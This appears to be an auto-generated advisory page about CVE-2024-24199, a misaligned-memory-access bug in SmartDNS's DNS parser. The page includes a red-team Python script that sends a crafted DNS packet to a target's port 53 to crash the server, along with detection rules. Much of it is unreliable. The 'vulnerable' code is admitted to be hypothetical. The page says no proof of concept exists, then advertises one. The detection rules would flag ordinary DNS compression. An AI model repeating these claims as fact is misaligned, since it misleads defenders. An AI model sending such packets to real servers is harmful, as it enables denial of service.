CVE-2024-24199
Executive Summary
CVE-2024-24199 is a memory safety vulnerability discovered in the SmartDNS project, specifically in the smartdns/src/dns.c file at commit 54b4dc. The issue involves a misaligned address, which can lead to undefined behavior, potential crashes, or exploitation for denial of service (DoS). The vulnerability has a CVSS score of 0.0, indicating no official severity assessment, but the nature of the flaw suggests a medium to high risk in environments where SmartDNS is exposed to untrusted traffic. No public proof-of-concept (PoC) or exploit code is available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SmartDNS is a DNS server software typically compiled from source. There is no official package manager distribution (e.g., NPM, PyPI, Go, Ruby) for this project. The vulnerability affects users who build from the specific commit 54b4dc. Supply chain risk is low, but users should verify the integrity of their source code and consider using a later commit or a stable release.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Not officially assigned)
- Attack Vector: Network (likely)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None (likely)
- Integrity Impact: None (likely)
- Availability Impact: High (potential crash)
- Threat Level: Medium (due to potential DoS)
Deep Dive & Mechanics
The vulnerability is a misaligned address issue in smartdns/src/dns.c. In C, accessing a pointer that is not properly aligned for its type (e.g., reading a 32-bit integer from an address not divisible by 4) results in undefined behavior. On some architectures (e.g., ARM), this causes a hardware exception (SIGBUS), leading to a crash. On x86, it may cause performance degradation or incorrect data reads.
The specific code path involves parsing DNS packets. A crafted DNS query can cause the parser to compute an unaligned pointer, likely when extracting resource record data or handling compression pointers. The misalignment occurs because the code does not ensure that the pointer is aligned before dereferencing it.
Vulnerable vs. Patched Code
Vulnerable Code (commit 54b4dc):
// Hypothetical example based on the CVE description
void parse_dns_packet(uint8_t *buffer, size_t len) {
uint32_t *ptr = (uint32_t *)(buffer + offset); // Misaligned if offset not multiple of 4
uint32_t value = *ptr; // Undefined behavior
}
Patched Code (hypothetical fix):
void parse_dns_packet(uint8_t *buffer, size_t len) {
uint32_t value;
memcpy(&value, buffer + offset, sizeof(value)); // Safe, handles alignment
}
The fix involves using memcpy to safely read misaligned data or adding alignment checks before pointer casting.
Exploitation & Lab Setup
Red Team
- Environment: Set up a SmartDNS server (commit 54b4dc) on a Linux VM.
- Craft Payload: Create a DNS query with a malformed compression pointer that causes an unaligned access.
- Trigger: Send the crafted query to the server.
- Expected Result: Server crashes (DoS). No code execution is expected due to the nature of the bug.
Example payload (Python):
import socket
# Craft a DNS query with a malformed compression pointer
# This is a simplified example; actual exploitation requires deep DNS protocol knowledge
payload = b'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' # DNS header
payload += b'\x03www\x06google\x03com\x00\x00\x01\x00\x01' # Standard query
# Add a malformed pointer to cause misalignment
payload += b'\xc0\x0c' # Compression pointer (may cause misalignment)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, ('target_ip', 53))
Blue Team
- Detection: Monitor for DNS queries with unusual compression pointers or malformed packets.
- Mitigation: Use a later commit or apply a patch that uses
memcpyfor unaligned reads. - Harden: Run SmartDNS in a sandboxed environment with limited privileges.
- Logging: Enable verbose logging to capture crash dumps.
Indicators of Compromise (IOCs)
- Network: DNS queries with malformed compression pointers (e.g., offset values that are not multiples of 4).
- System: SmartDNS process crashes (SIGBUS on ARM, SIGSEGV on x86).
- Logs: Entries like
smartdns[pid]: segfault at <address> ip <ip> sp <sp> error 4in syslog.
Detection Engineering
YARA Rule
rule CVE_2024_24199_SmartDNS_Misalignment {
meta:
description = "Detects malformed DNS packets targeting SmartDNS misalignment vulnerability"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2024-24199"
strings:
$dns_header = { 00 00 00 00 00 01 00 00 00 00 00 00 }
$compression_ptr = { c0 [0-3] } // Compression pointer with offset
condition:
$dns_header at 0 and #compression_ptr > 0
}
Sigma Rule
title: SmartDNS Misalignment Vulnerability Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DNS queries with malformed compression pointers targeting CVE-2024-24199
author: Valters IT
logsource:
category: network
product: dns
detection:
selection:
dns.flags: 0x0100 # Standard query
dns.qry.name: "*"
dns.compression_ptr: true
condition: selection
falsepositives:
- Legitimate DNS queries with compression
level: medium
Suricata Rule
alert udp any any -> any 53 (msg:"CVE-2024-24199 SmartDNS Misalignment Attempt"; content:"|c0|"; offset:12; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Avoid using commit
54b4dc. Use a later commit or a stable release. - Patch: Apply a fix that uses
memcpyfor unaligned reads or adds alignment checks. - Workaround: Run SmartDNS behind a firewall that filters malformed DNS packets.
- Monitoring: Deploy the detection rules above to identify exploitation attempts.
- Long-term: Contribute to the SmartDNS project to ensure proper memory safety practices.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.